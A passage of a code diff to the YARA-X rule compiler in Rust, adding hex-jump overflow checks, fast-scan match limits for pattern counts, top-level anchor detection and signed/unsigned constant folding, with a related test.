+620,7 @@ mod tests { let mut var_stack = VarStack::new(); let mut var_frame = var_stack.new_frame(1).unwrap(); - let const_1 = ir.constant(TypeValue::const_integer_from(2)); + let const_1 = ir.constant(TypeValue::const_signed_integer_from(2)); let with_body = ir.constant(TypeValue::const_bool_from(true)); let with = ir.with( @@ -665,4 +672,39 @@ mod tests { assert_eq!(dfs.scopes().collect::>(), vec![]); } + + #[test] + fn dfs_quantifier_percentage() { + use crate::compiler::ir::{ForVars, MatchAnchor, Quantifier}; + + let mut ir = IR::new(); + let mut var_stack = VarStack::new(); + let mut var_frame = var_stack.new_frame(5).unwrap(); + + let pct = ir.constant(TypeValue::const_signed_integer_from(50)); + let item = ir.constant(TypeValue::const_bool_from(true)); + let for_vars = ForVars { + n: var_frame.new_var(Type::Integer), + i: var_frame.new_var(Type::Integer), + max_count: var_frame.new_var(Type::Integer), + count: var_frame.new_var(Type::Integer), + item: var_frame.new_var(Type::Bool), + }; + let of = ir.of_expr_tuple( + Quantifier::Percentage(pct), + for_vars, + vec![item], + MatchAnchor::None, + ); + + let visited: Vec = ir + .dfs_iter(of) + .filter_map(|evt| match evt { + Event::Enter((id, _, _)) => Some(id), + Event::Leave(_) => None, + }) + .collect(); + + assert_eq!(visited, vec![of, pct, item]); + } } diff --git a/lib/src/compiler/ir/hex2hir.rs b/lib/src/compiler/ir/hex2hir.rs index cf1f48e29..46610cb05 100644 --- a/lib/src/compiler/ir/hex2hir.rs +++ b/lib/src/compiler/ir/hex2hir.rs @@ -87,15 +87,23 @@ fn hex_sub_pattern_hir_from_ast( // `[0-2][5-]` becomes `[5-]` // `[4][0-7]` becomes `[4-11]` // + let mut overflow = false; + while let Some(ast::HexToken::Jump(next)) = ast_tokens.peek() { match (jump.start, next.start) { - (Some(s1), Some(s2)) => jump.start = Some(s1 + s2), + (Some(s1), Some(s2)) => match s1.checked_add(s2) { + Some(s) => jump.start = Some(s), + None => overflow = true, + }, (Some(s1), None) => jump.start = Some(s1), (None, Some(s2)) => jump.start = Some(s2), (None, None) => jump.start = None, } match (jump.end, next.end) { - (Some(e1), Some(e2)) => jump.end = Some(e1 + e2), + (Some(e1), Some(e2)) => match e1.checked_add(e2) { + Some(e) => jump.end = Some(e), + None => overflow = true, + }, (_, _) => jump.end = None, } span = span.combine(&next.span()); @@ -103,6 +111,22 @@ fn hex_sub_pattern_hir_from_ast( coalesced = true; } + if overflow { + return Err(InvalidPattern::build( + ctx.report_builder, + pattern_ident.name.to_string(), + format!( + "jump exceeds maximum allowed bound ({})", + u32::MAX + ), + ctx.report_builder.span_to_code_loc(span), + Some( + "consecutive jumps were coalesced into a single one" + .to_string(), + ), + )); + } + if coalesced { let code_loc = ctx.report_builder.span_to_code_loc(span.clone()); @@ -229,6 +253,8 @@ mod tests { let mut regex_sets = rustc_hash::FxHashMap::default(); let mut regex_pool = crate::string_pool::StringPool::new(); + let mut literal_sets = rustc_hash::FxHashMap::default(); + let mut lit_pool = crate::string_pool::BStringPool::new(); let mut ctx = CompileContext { ir: &mut ir, @@ -245,6 +271,8 @@ mod tests { loop_iteration_multiplier: 1, regex_sets: &mut regex_sets, regex_pool: &mut regex_pool, + literal_sets: &mut literal_sets, + literal_pool: &mut lit_pool, }; let mut pattern = HexPattern::new("test_ident"); diff --git a/lib/src/compiler/ir/mod.rs b/lib/src/compiler/ir/mod.rs index 74fb17b88..0b2ddfd47 100644 --- a/lib/src/compiler/ir/mod.rs +++ b/lib/src/compiler/ir/mod.rs @@ -35,8 +35,7 @@ use std::fmt::{Debug, Formatter}; use std::hash::{Hash, Hasher}; use std::mem; use std::mem::discriminant; -use std::ops::RangeInclusive; -use std::ops::{Add, Index}; +use std::ops::{Index, RangeInclusive}; use std::rc::Rc; use bitflags::bitflags; @@ -47,16 +46,19 @@ use serde::{Deserialize, Serialize}; use yara_x_parser::Span; use yara_x_parser::ast::Ident; -use crate::compiler::context::{Var, VarStack}; +use crate::compiler::context::Var; use crate::compiler::ir::dfs::{ DFSIter, DFSWithScopeIter, Event, EventContext, dfs_common, }; -use crate::compiler::{FilesizeBounds, HeaderConstraint, RegexSetId}; +use crate::compiler::{ + FilesizeBounds, HeaderConstraint, LiteralSetId, RegexSetId, RuleId, +}; use crate::re; use crate::symbols::Symbol; use crate::types::Value::Const; use crate::types::{FuncSignature, Type, TypeValue}; +use crate::utils::cast; pub(in crate::compiler) use ast2ir::patterns_from_ast; pub(in crate::compiler) use ast2ir::rule_condition_from_ast; @@ -105,12 +107,13 @@ bitflags! { /// within the confines of a specific rule. If two distinct rules declare /// precisely the same pattern, including any modifiers, they will reference /// the same [`Pattern`] instance. +use std::num::NonZeroU32; + pub(crate) struct PatternInRule<'src> { identifier: Ident<'src>, pattern: Pattern, span: Span, in_use: bool, - fast_scan_allowed: bool, } impl<'src> PatternInRule<'src> { @@ -188,24 +191,36 @@ impl<'src> PatternInRule<'src> { self } - /// Returns true if this pattern can be fast-scanned. + /// Returns the maximum number of matches required for this pattern in + /// fast-scan mode, or `None` if all matches must be tracked. + #[inline] + pub fn max_matches_in_fast_scan(&self) -> Option { + self.pattern.max_matches_in_fast_scan() + } + + /// Updates the maximum number of matches required for this pattern in + /// fast-scan mode. /// - /// A pattern can be fast-scanned if its occurrences are only evaluated - /// as simple boolean checks (e.g. `$a`), meaning the scanner can stop - /// tracking matches for it once the first match has been found. + /// If both the current limit and `limit` are `Some`, the higher of the + /// two limits is kept. If either is `None`, fast-scanning is disallowed + /// (`None`). #[inline] - pub fn fast_scan_allowed(&self) -> bool { - self.fast_scan_allowed + pub fn update_max_matches_in_fast_scan( + &mut self, + limit: Option, + ) -> &mut Self { + self.pattern.update_max_matches_in_fast_scan(limit); + self } /// Disallows fast-scanning for this pattern. /// /// This is called when the pattern is used in a context that requires - /// tracking all matches (such as count `#a`, offset `@a`, length `!a`, - /// anchored checks, or loop equivalents). + /// tracking all matches (such as offset `@a`, length `!a`, range-bounded + /// count `#a in (..)`, anchored checks, or non-constant count comparisons). #[inline] pub fn disallow_fast_scan(&mut self) -> &mut Self { - self.fast_scan_allowed = false; + self.pattern.disallow_fast_scan(); self } } @@ -225,6 +240,11 @@ pub(crate) enum Pattern { } impl Pattern { + #[inline] + pub fn is_regex(&self) -> bool { + matches!(self, Pattern::Regexp(_) | Pattern::Hex(_)) + } + #[inline] pub fn flags(&self) -> &PatternFlags { match self { @@ -314,6 +334,15 @@ impl Pattern { } } + #[inline] + pub fn filesize_bounds(&self) -> &FilesizeBounds { + match self { + Pattern::Text(literal) => &literal.filesize_bounds, + Pattern::Regexp(regexp) => ®exp.filesize_bounds, + Pattern::Hex(regexp) => ®exp.filesize_bounds, + } + } + pub fn set_header_constraints(&mut self, constraints: &HeaderConstraint) { match self { Pattern::Text(literal) => { @@ -324,6 +353,52 @@ impl Pattern { } } } + + #[inline] + pub fn header_constraints(&self) -> &HeaderConstraint { + match self { + Pattern::Text(literal) => &literal.header_constraints, + Pattern::Regexp(regexp) => ®exp.header_constraints, + Pattern::Hex(regexp) => ®exp.header_constraints, + } + } + + #[inline] + pub fn max_matches_in_fast_scan(&self) -> Option { + match self { + Pattern::Text(literal) => literal.max_matches_in_fast_scan, + Pattern::Regexp(regexp) | Pattern::Hex(regexp) => { + regexp.max_matches_in_fast_scan + } + } + } + + #[inline] + pub fn update_max_matches_in_fast_scan( + &mut self, + limit: Option, + ) { + let current = match self { + Pattern::Text(literal) => &mut literal.max_matches_in_fast_scan, + Pattern::Regexp(regexp) | Pattern::Hex(regexp) => { + &mut regexp.max_matches_in_fast_scan + } + }; + *current = match (*current, limit) { + (Some(curr), Some(new)) => Some(curr.max(new)), + _ => None, + }; + } + + #[inline] + pub fn disallow_fast_scan(&mut self) { + match self { + Pattern::Text(literal) => literal.max_matches_in_fast_scan = None, + Pattern::Regexp(regexp) | Pattern::Hex(regexp) => { + regexp.max_matches_in_fast_scan = None + } + } + } } #[derive(Clone, Eq, Hash, PartialEq)] @@ -336,6 +411,7 @@ pub(crate) struct LiteralPattern { pub base64wide_alphabet: Option, pub filesize_bounds: FilesizeBounds, pub header_constraints: HeaderConstraint, + pub max_matches_in_fast_scan: Option, } #[derive(Clone, Eq, Hash, PartialEq)] @@ -345,6 +421,7 @@ pub(crate) struct RegexpPattern { pub anchored_at: Option, pub filesize_bounds: FilesizeBounds, pub header_constraints: HeaderConstraint, + pub max_matches_in_fast_scan: Option, } /// The index of a pattern in the rule that declares it. @@ -483,6 +560,117 @@ impl IR { self.parents[expr_id.0 as usize] = parent_id; } + /// Given an expression that counts the occurrences of a pattern (`#a` or + /// `#` inside a `for .. of` loop), determines how many matches the scanner + /// actually needs to find in fast-scan mode. + /// + /// When `#a` is compared against a constant, we don't need to keep finding + /// matches forever, once a certain number of matches is reached, finding + /// additional matches won't change the outcome of the comparison: + /// + /// - For `#a < 1000` (or `#a >= 1000`), we can stop after 1000 matches. + /// Once 1000 matches are found, `#a < 1000` is already `false` (and + /// `#a >= 1000` is already `true`), and finding more matches won't + /// change that. + /// + /// - For `#a > 1000` (or `#a <= 1000`), we must find up to 1001 matches. + /// If we stopped at 1000, `#a` would remain at 1000 and `1000 > 1000` + /// would evaluate to `false` even when the file has more than 1000 + /// matches. Finding one extra match (1001) is enough to make `#a > 1000` + /// evaluate to `true`. + /// + /// - For `#a == 1000` (or `#a != 1000`), we also need 1001 matches so + /// we can tell the difference between "exactly 1000 matches" and "more + /// than 1000 matches". + /// + /// - When `#a` is used directly as a boolean (e.g., `condition: #a` or + /// `#a and $b`), we only need **1** match to know that `#a` is non-zero. + /// + /// - If `#a` is used in any other way (such as `#a == #b` or `#a + 1 > 10`), + /// this function returns `None`, indicating that the scanner cannot stop + /// early and must track all matches. + pub(crate) fn required_matches_for_count( + &self, + count_expr_id: ExprId, + ) -> Option { + let Some(parent_id) = self.get_parent(count_expr_id) else { + // Root condition is `#a` (evaluated as boolean `#a != 0`). + return NonZeroU32::new(1); + }; + + let limit_i64 = match self.get(parent_id) { + // Boolean contexts where `#a` is evaluated as `#a != 0`. + Expr::And { .. } | Expr::Or { .. } | Expr::Not { .. } => Some(1), + Expr::ForOf(for_of) if for_of.body == count_expr_id => Some(1), + Expr::ForIn(for_in) if for_in.body == count_expr_id => Some(1), + Expr::With(with) if with.body == count_expr_id => Some(1), + Expr::OfExprTuple(of) if of.items.contains(&count_expr_id) => { + Some(1) + } + + // #a == K, K == #a, #a != K, K != #a -> K + 1 (to distinguish + // count == K from count > K). + Expr::Eq { lhs, rhs } | Expr::Ne { lhs, rhs } => { + let other = if *lhs == count_expr_id { *rhs } else { *lhs }; + self.get(other) + .try_as_const_integer() + .map(|k| k.saturating_add(1)) + } + + // #a > K -> K + 1; K > #a (i.e. #a < K) -> K. + Expr::Gt { lhs, rhs } => { + if *lhs == count_expr_id { + self.get(*rhs) + .try_as_const_integer() + .map(|k| k.saturating_add(1)) + } else { + self.get(*lhs).try_as_const_integer() + } + } + + // #a >= K -> K; K >= #a (i.e. #a <= K) -> K + 1. + Expr::Ge { lhs, rhs } => { + if *lhs == count_expr_id { + self.get(*rhs).try_as_const_integer() + } else { + self.get(*lhs) + .try_as_const_integer() + .map(|k| k.saturating_add(1)) + } + } + + // #a < K -> K; K < #a (i.e. #a > K) -> K + 1. + Expr::Lt { lhs, rhs } => { + if *lhs == count_expr_id { + self.get(*rhs).try_as_const_integer() + } else { + self.get(*lhs) + .try_as_const_integer() + .map(|k| k.saturating_add(1)) + } + } + + // #a <= K -> K + 1; K <= #a (i.e. #a >= K) -> K. + Expr::Le { lhs, rhs } => { + if *lhs == count_expr_id { + self.get(*rhs) + .try_as_const_integer() + .map(|k| k.saturating_add(1)) + } else { + self.get(*lhs).try_as_const_integer() + } + } + + // Any other parent expression (arithmetic, non-constant comparison, + // function argument, etc.) requires tracking all matches. + _ => None, + }?; + + // Clamp constants <= 0 (e.g. `#a >= 0` or `#a > -5`) to a minimum limit + // of 1, and return `None` if the limit exceeds `u32::MAX`. + u32::try_from(limit_i64.max(1)).ok().and_then(NonZeroU32::new) + } + /// Pushes an [`Expr`] into the IR tree. /// /// Returns the [`ExprId`] the identifies the pushed expression in the @@ -528,6 +716,17 @@ impl IR { }); } + /// Returns the maximum variable index referenced or declared in the + /// subtree rooted at `start`, or `None` if no variables are used. + fn max_var_index(&self, start: ExprId) -> Option { + self.dfs_iter(start) + .filter_map(|evt| match evt { + Event::Enter((_, expr, _)) => expr.max_var_index(), + Event::Leave(_) => None, + }) + .max() + } + /// Returns an iterator that performs a depth first search starting at /// the given node. pub fn dfs_iter(&self, start: ExprId) -> DFSIter<'_> { @@ -729,7 +928,11 @@ impl IR { }; let symbol = match self.get(current_expr_id) { - Expr::Symbol(symbol) => symbol, + Expr::Symbol(symbol) + | Expr::PatternMatchVar { symbol, .. } + | Expr::PatternCountVar { symbol, .. } + | Expr::PatternOffsetVar { symbol, .. } + | Expr::PatternLengthVar { symbol, .. } => symbol, _ => continue, }; @@ -747,17 +950,20 @@ impl IR { Expr::ForIn(for_in) => { for_in.variables.iter().any(|v| v.index() == var) } + Expr::ForOf(for_of) => for_of.for_vars.item.index() == var, _ => false, }) { Some(stmt) => stmt, None => continue, }; - // Iterate the ancestors of the current statement up to the + // Iterate the current expression and its ancestors up to the // statement that declared the variable (not included), and mark - // them as dependent on that variable. - for ancestor in self - .ancestors(current_expr_id) + // them as dependent on that variable. Including `current_expr_id` + // itself is required for `Pattern*Var` nodes, which directly + // reference `for_of.for_vars.item` without a child `Expr::Symbol`. + for ancestor in std::iter::once(current_expr_id) + .chain(self.ancestors(current_expr_id)) .take_while(|ancestor| ancestor.ne(&stmt_declaring_var)) { match &mut depends_on[ancestor.0 as usize] { @@ -836,13 +1042,13 @@ impl IR { if let Some(inner_loop) = scopes.next() { result.push((current_expr_id, inner_loop)); } - // Limit the number of candidates to a reasonable - // number. - if result.len() > 100 { - return result; - } } } + + // Limit the number of candidates to a reasonable number. + if result.len() > 100 { + return result; + } } _ => {} } @@ -877,10 +1083,19 @@ impl IR { for (expr_id, loop_expr_id) in self.find_hoisting_candidates() { let loop_parent = self.get_parent(loop_expr_id); - let var_index = self - .ancestors(loop_expr_id) - .map(|expr_id| self.get(expr_id).stack_frame_size()) - .sum::(); + let var_index = + cast!(self.get(loop_expr_id), Expr::ForIn).for_vars.n.index(); + + if var_index >= crate::wasm::MAX_VARS { + continue; + } + + if let Some(max_idx) = self.max_var_index(loop_expr_id) + && max_idx >= var_index + && max_idx + 1 >= crate::wasm::MAX_VARS + { + continue; + } // Shift all variables with an index greater or equal than // var_index one position to the right in order to make room for @@ -929,14 +1144,18 @@ impl IR { c: &TypeValue, inclusive: bool, ) -> Option> { + // Integer constants, either signed or unsigned. Unsigned constants + // that don't fit in an `i64` are ignored. + if let Some(v) = + c.try_as_const_i128().and_then(|v| i64::try_from(v).ok()) + { + return if inclusive { + Some(Bound::Included(v)) + } else { + Some(Bound::Excluded(v)) + }; + } match c { - TypeValue::Integer { value: Const(v), .. } => { - if inclusive { - Some(Bound::Included(*v)) - } else { - Some(Bound::Excluded(*v)) - } - } TypeValue::Float { value: Const(v), .. } if v.is_finite() => { let floor = v.floor(); if inclusive && floor == *v { @@ -953,14 +1172,18 @@ impl IR { c: &TypeValue, inclusive: bool, ) -> Option> { + // Integer constants, either signed or unsigned. Unsigned constants + // that don't fit in an `i64` are ignored. + if let Some(v) = + c.try_as_const_i128().and_then(|v| i64::try_from(v).ok()) + { + return if inclusive { + Some(Bound::Included(v)) + } else { + Some(Bound::Excluded(v)) + }; + } match c { - TypeValue::Integer { value: Const(v), .. } => { - if inclusive { - Some(Bound::Included(*v)) - } else { - Some(Bound::Excluded(*v)) - } - } TypeValue::Float { value: Const(v), .. } if v.is_finite() => { let ceil = v.ceil(); if inclusive && ceil == *v { @@ -985,7 +1208,10 @@ impl IR { /// In contrast, the condition `filesize < 10MB or $a` does not impose a /// filesize constraint, since the use of `or` allows files larger than /// 10MB to also match. - pub fn filesize_bounds(&self) -> FilesizeBounds { + pub fn filesize_bounds<'a>( + &self, + rule_lookup: impl Fn(RuleId) -> Option<&'a FilesizeBounds>, + ) -> FilesizeBounds { let mut result = FilesizeBounds::default(); let mut dfs = self.dfs_iter(self.root.unwrap()); @@ -995,6 +1221,13 @@ impl IR { _ => continue, }; match expr { + Expr::Symbol(symbol) => { + if let Symbol::Rule { rule_id, .. } = symbol.as_ref() + && let Some(rule_bounds) = rule_lookup(*rule_id) + { + result.merge(rule_bounds); + } + } Expr::Gt { lhs, rhs } => { match (self.get(*lhs), self.get(*rhs)) { // constant > filesize @@ -1105,6 +1338,7 @@ impl IR { pub fn header_constraints<'a>( &self, pattern_lookup: impl Fn(PatternIdx) -> &'a Pattern, + rule_lookup: impl Fn(RuleId) -> Option<&'a HeaderConstraint>, ) -> HeaderConstraint { let mut constrained_bytes = BTreeMap::new(); let mut unsatisfiable = false; @@ -1116,6 +1350,33 @@ impl IR { _ => continue, }; match expr { + Expr::Symbol(symbol) => { + if let Symbol::Rule { rule_id, .. } = symbol.as_ref() + && let Some(rule_constraints) = rule_lookup(*rule_id) + { + match rule_constraints { + HeaderConstraint::Unsatisfiable => { + unsatisfiable = true; + } + HeaderConstraint::Constrained(bytes) => { + for (i, &b) in bytes.iter().enumerate() { + match constrained_bytes.entry(i) { + Entry::Occupied(entry) => { + if *entry.get() != b { + unsatisfiable = true; + break; + } + } + Entry::Vacant(entry) => { + entry.insert(b); + } + } + } + } + HeaderConstraint::Unconstrained => {} + } + } + } Expr::Eq { lhs, rhs } => { self.extract_header_constraints_from_eq( *lhs, @@ -1217,6 +1478,116 @@ impl IR { } } + /// Traverses the condition IR starting at the root and invokes + /// `f(pattern, K)` for any pattern that is unconditionally required to + /// match at constant offset `K` for the rule condition to evaluate to + /// `true`. + /// + /// For example, in `all of them and $a at 0`, `$a at 0` is a top-level + /// conjunct, so the rule cannot match unless `$a` matches at offset 0. Even + /// though `all of them` also references `$a` without an anchor, knowing + /// that `$a` is required at offset 0 allows keeping `$a` anchored at 0. + /// Conversely, in `$a at 0 or $a`, the root is an `or` expression: + /// `$a at 0` is not a top-level requirement, so `$a` cannot be anchored. + pub fn find_top_level_anchors( + &self, + mut f: impl FnMut(PatternIdx, usize), + ) { + // Returns true if the quantifier requires every item in `of` to match + // (e.g., `all of ...`, `100% of ...`, `N of ...` where N >= num_items, + // or `any of ($a)` when there is only 1 item). + let quantifier_requires_all = + |quantifier: &Quantifier, num_items: usize| match quantifier { + Quantifier::All => true, + Quantifier::Any => num_items == 1, + Quantifier::Percentage(expr) => self + .get(*expr) + .try_as_const_integer() + .is_some_and(|p| p >= 100), + Quantifier::Expr(expr) => self + .get(*expr) + .try_as_const_integer() + .is_some_and(|n| n >= num_items as i64), + Quantifier::None => false, + }; + + let mut dfs = self.dfs_iter(self.root.unwrap()); + + while let Some(evt) = dfs.next() { + let (expr, ctx) = match evt { + Event::Enter((_, expr, ctx)) => (expr, ctx), + _ => continue, + }; + + match (expr, ctx) { + // For `with : ( )`, `dfs_iter` visits both the + // variable declarations (`EventContext::WithDeclaration`) and + // the body (`EventContext::Body`). Only the body determines + // whether the `with` expression is true, so prune the + // declaration initializers. + (_, EventContext::WithDeclaration) => { + dfs.prune(); + } + // `and` and `with` expressions must hold for their + // operands/body to hold, so let the DFS descend into their + // children. + (Expr::And { .. } | Expr::With(_), _) => {} + // An `of (, ...)` tuple whose quantifier requires all + // items to be true (such as `all of ($a at 0, $b)`) is + // equivalent to an `and` over its items, so let the DFS + // descend into its children. + (Expr::OfExprTuple(of), _) + if matches!(of.anchor, MatchAnchor::None) + && quantifier_requires_all( + &of.quantifier, + of.items.len(), + ) => {} + // `$a at `: `$a` is unconditionally required at + // ``. + ( + Expr::PatternMatch { + pattern, + anchor: MatchAnchor::At(offset_expr), + }, + _, + ) => { + if let Some(offset) = + self.get(*offset_expr).try_as_const_integer() + && let Ok(offset) = usize::try_from(offset) + { + f(*pattern, offset); + } + dfs.prune(); + } + // ` of () at ` where the + // quantifier requires every pattern in the set to match at + // `` (e.g., `all of ($a*) at 0` or `any of ($a) at 0`). + (Expr::OfPatternSet(of), _) => { + if let MatchAnchor::At(offset_expr) = of.anchor + && quantifier_requires_all( + &of.quantifier, + of.items.len(), + ) + && let Some(offset) = + self.get(offset_expr).try_as_const_integer() + && let Ok(offset) = usize::try_from(offset) + { + for pattern in &of.items { + f(*pattern, offset); + } + } + dfs.prune(); + } + // Any other expression (`or`, `not`, loops, comparisons, etc.) + // does not unconditionally require its sub-expressions to match + // at a fixed offset, so prune its children. + _ => { + dfs.prune(); + } + } + } + } + fn extract_header_constraints_from_eq( &self, lhs: ExprId, @@ -1224,7 +1595,12 @@ impl IR { constrained_bytes: &mut BTreeMap, unsatisfiable: &mut bool, ) { - if let Some(val) = self.get(rhs).try_as_const_integer() + // The bit pattern of the constant is used, even for unsigned + // constants greater than `i64::MAX`. If the integer read from the + // data can't be equal to the constant (e.g: `int64(0)` compared with + // an unsigned integer greater than `i64::MAX`), the expression is + // unsatisfiable anyway, and the constraint is harmless. + if let Some(val) = self.const_integer_bits(rhs) && self.apply_int_read_constraint( constrained_bytes, unsatisfiable, @@ -1234,7 +1610,7 @@ impl IR { { return; } - if let Some(val) = self.get(lhs).try_as_const_integer() { + if let Some(val) = self.const_integer_bits(lhs) { self.apply_int_read_constraint( constrained_bytes, unsatisfiable, @@ -1278,110 +1654,49 @@ impl IR { _ => return false, }; - if let Some(offset) = func_call + // Width in bytes and endianness of each built-in function that + // reads an integer from the scanned data. + let (width, big_endian) = match func_call.plain_name() { + "uint8" | "int8" | "uint8be" | "int8be" => (1, false), + "uint16" | "int16" => (2, false), + "uint16be" | "int16be" => (2, true), + "uint32" | "int32" => (4, false), + "uint32be" | "int32be" => (4, true), + "uint64" | "int64" => (8, false), + "uint64be" | "int64be" => (8, true), + _ => return false, + }; + + let offset = match func_call .args .first() .and_then(|arg| self.get(*arg).try_as_const_integer()) - && offset >= 0 + .and_then(|offset| usize::try_from(offset).ok()) { - match func_call.plain_name() { - "uint8" | "int8" | "uint8be" | "int8be" => { - self.add_constraint( - constrained_bytes, - unsatisfiable, - offset as usize, - val as u8, - ); - return true; - } - "uint16" | "int16" => { - self.add_constraint( - constrained_bytes, - unsatisfiable, - offset as usize, - (val as u16 & 0xff) as u8, - ); - self.add_constraint( - constrained_bytes, - unsatisfiable, - offset as usize + 1, - ((val as u16 >> 8) & 0xff) as u8, - ); - return true; - } - "uint16be" | "int16be" => { - self.add_constraint( - constrained_bytes, - unsatisfiable, - offset as usize, - ((val as u16 >> 8) & 0xff) as u8, - ); - self.add_constraint( - constrained_bytes, - unsatisfiable, - offset as usize + 1, - (val as u16 & 0xff) as u8, - ); - return true; - } - "uint32" | "int32" => { - self.add_constraint( - constrained_bytes, - unsatisfiable, - offset as usize, - (val as u32 & 0xff) as u8, - ); - self.add_constraint( - constrained_bytes, - unsatisfiable, - offset as usize + 1, - ((val as u32 >> 8) & 0xff) as u8, - ); - self.add_constraint( - constrained_bytes, - unsatisfiable, - offset as usize + 2, - ((val as u32 >> 16) & 0xff) as u8, - ); - self.add_constraint( - constrained_bytes, - unsatisfiable, - offset as usize + 3, - ((val as u32 >> 24) & 0xff) as u8, - ); - return true; - } - "uint32be" | "int32be" => { - self.add_constraint( - constrained_bytes, - unsatisfiable, - offset as usize, - ((val as u32 >> 24) & 0xff) as u8, - ); - self.add_constraint( - constrained_bytes, - unsatisfiable, - offset as usize + 1, - ((val as u32 >> 16) & 0xff) as u8, - ); - self.add_constraint( - constrained_bytes, - unsatisfiable, - offset as usize + 2, - ((val as u32 >> 8) & 0xff) as u8, - ); - self.add_constraint( - constrained_bytes, - unsatisfiable, - offset as usize + 3, - (val as u32 & 0xff) as u8, - ); - return true; - } - _ => {} - } + Some(offset) => offset, + None => return false, + }; + + // Take the `width` least significant bytes of `val`, in the order + // in which they appear in the scanned data. + let le_bytes = val.to_le_bytes(); + let be_bytes = val.to_be_bytes(); + let bytes = if big_endian { + &be_bytes[8 - width..] + } else { + &le_bytes[..width] + }; + + for (i, byte) in bytes.iter().enumerate() { + self.add_constraint( + constrained_bytes, + unsatisfiable, + offset + i, + *byte, + ); } - false + + true } } @@ -1530,16 +1845,20 @@ impl IR { } /// Creates a new [`Expr::Minus`]. - pub fn minus(&mut self, operand: ExprId) -> ExprId { + pub fn minus(&mut self, operand: ExprId) -> Result { if self.constant_folding { - match self.get(operand).type_value() { - TypeValue::Integer { value: Const(v), .. } => { - return self.constant(TypeValue::const_integer_from(-v)); - } - TypeValue::Float { value: Const(v), .. } => { - return self.constant(TypeValue::const_float_from(-v)); - } - _ => {} + let tv = self.get(operand).type_value(); + if let Some(v) = tv.try_as_const_i128() { + // The result of negating an integer is always signed, even + // if the operand is unsigned. Like in other arithmetic + // operations, folding fails if the result doesn't fit in + // the result's type, as in `-(-9223372036854775808)` or + // `-(0xFFFFFFFFFFFFFFFF)`. + return TypeValue::const_integer_from_i128(-v, false) + .map(|value| self.constant(value)) + .ok_or(Error::NumberOutOfRange); + } else if let TypeValue::Float { value: Const(v) } = tv { + return Ok(self.constant(TypeValue::const_float_from(-v))); } } @@ -1551,7 +1870,7 @@ impl IR { is_float: matches!(self.get(operand).ty(), Type::Float), }); debug_assert_eq!(self.parents.len(), self.nodes.len()); - expr_id + Ok(expr_id) } /// Creates a new [`Expr::Defined`]. @@ -1566,94 +1885,110 @@ impl IR { /// Creates a new [`Expr::BitwiseNot`]. pub fn bitwise_not(&mut self, operand: ExprId) -> ExprId { + let type_value = self.get(operand).type_value(); + let is_unsigned = type_value.is_unsigned(); + if self.constant_folding - && let Some(val) = self.get(operand).try_as_const_integer() + && let Some(val) = self.const_integer_bits(operand) { - return self.constant(TypeValue::const_integer_from(!val)); + return self.constant(TypeValue::const_integer_from_bits( + !val, + is_unsigned, + )); } let expr_id = ExprId::from(self.nodes.len()); self.parents[operand.0 as usize] = expr_id; self.parents.push(ExprId::none()); - self.nodes.push(Expr::BitwiseNot { operand }); + self.nodes.push(Expr::BitwiseNot { is_unsigned, operand }); debug_assert_eq!(self.parents.len(), self.nodes.len()); expr_id } /// Creates a new [`Expr::BitwiseAnd`]. pub fn bitwise_and(&mut self, lhs: ExprId, rhs: ExprId) -> ExprId { + let is_unsigned = self.is_unsigned_result(&[lhs, rhs]); + if self.constant_folding - && let (Some(lhs_val), Some(rhs_val)) = ( - self.get(lhs).try_as_const_integer(), - self.get(rhs).try_as_const_integer(), - ) + && let (Some(lhs_val), Some(rhs_val)) = + (self.const_integer_bits(lhs), self.const_integer_bits(rhs)) { - return self - .constant(TypeValue::const_integer_from(lhs_val & rhs_val)); + return self.constant(TypeValue::const_integer_from_bits( + lhs_val & rhs_val, + is_unsigned, + )); } let expr_id = ExprId::from(self.nodes.len()); self.parents[lhs.0 as usize] = expr_id; self.parents[rhs.0 as usize] = expr_id; self.parents.push(ExprId::none()); - self.nodes.push(Expr::BitwiseAnd { lhs, rhs }); + self.nodes.push(Expr::BitwiseAnd { is_unsigned, lhs, rhs }); debug_assert_eq!(self.parents.len(), self.nodes.len()); expr_id } /// Creates a new [`Expr::BitwiseOr`]. pub fn bitwise_or(&mut self, lhs: ExprId, rhs: ExprId) -> ExprId { + let is_unsigned = self.is_unsigned_result(&[lhs, rhs]); + if self.constant_folding - && let (Some(lhs_val), Some(rhs_val)) = ( - self.get(lhs).try_as_const_integer(), - self.get(rhs).try_as_const_integer(), - ) + && let (Some(lhs_val), Some(rhs_val)) = + (self.const_integer_bits(lhs), self.const_integer_bits(rhs)) { - return self - .constant(TypeValue::const_integer_from(lhs_val | rhs_val)); + return self.constant(TypeValue::const_integer_from_bits( + lhs_val | rhs_val, + is_unsigned, + )); } let expr_id = ExprId::from(self.nodes.len()); self.parents[lhs.0 as usize] = expr_id; self.parents[rhs.0 as usize] = expr_id; self.parents.push(ExprId::none()); - self.nodes.push(Expr::BitwiseOr { lhs, rhs }); + self.nodes.push(Expr::BitwiseOr { is_unsigned, lhs, rhs }); debug_assert_eq!(self.parents.len(), self.nodes.len()); expr_id } /// Creates a new [`Expr::BitwiseXor`]. pub fn bitwise_xor(&mut self, lhs: ExprId, rhs: ExprId) -> ExprId { + let is_unsigned = self.is_unsigned_result(&[lhs, rhs]); + if self.constant_folding - && let (Some(lhs_val), Some(rhs_val)) = ( - self.get(lhs).try_as_const_integer(), - self.get(rhs).try_as_const_integer(), - ) + && let (Some(lhs_val), Some(rhs_val)) = + (self.const_integer_bits(lhs), self.const_integer_bits(rhs)) { - return self - .constant(TypeValue::const_integer_from(lhs_val ^ rhs_val)); + return self.constant(TypeValue::const_integer_from_bits( + lhs_val ^ rhs_val, + is_unsigned, + )); } let expr_id = ExprId::from(self.nodes.len()); self.parents[lhs.0 as usize] = expr_id; self.parents[rhs.0 as usize] = expr_id; self.parents.push(ExprId::none()); - self.nodes.push(Expr::BitwiseXor { lhs, rhs }); + self.nodes.push(Expr::BitwiseXor { is_unsigned, lhs, rhs }); debug_assert_eq!(self.parents.len(), self.nodes.len()); expr_id } /// Creates a new [`Expr::Shl`]. pub fn shl(&mut self, lhs: ExprId, rhs: ExprId) -> ExprId { + // The signedness of the result is the signedness of the left operand. + let is_unsigned = self.get(lhs).type_value().is_unsigned(); + if self.constant_folding && let (Some(lhs_val), Some(rhs_val)) = ( - self.get(lhs).try_as_const_integer(), - self.get(rhs).try_as_const_integer(), + self.const_integer_bits(lhs), + self.get(rhs).type_value().try_as_const_i128(), ) && rhs_val >= 0 { - return self.constant(TypeValue::const_integer_from( + return self.constant(TypeValue::const_integer_from_bits( if rhs_val >= 64 { 0 } else { lhs_val << rhs_val }, + is_unsigned, )); } @@ -1661,22 +1996,35 @@ impl IR { self.parents[lhs.0 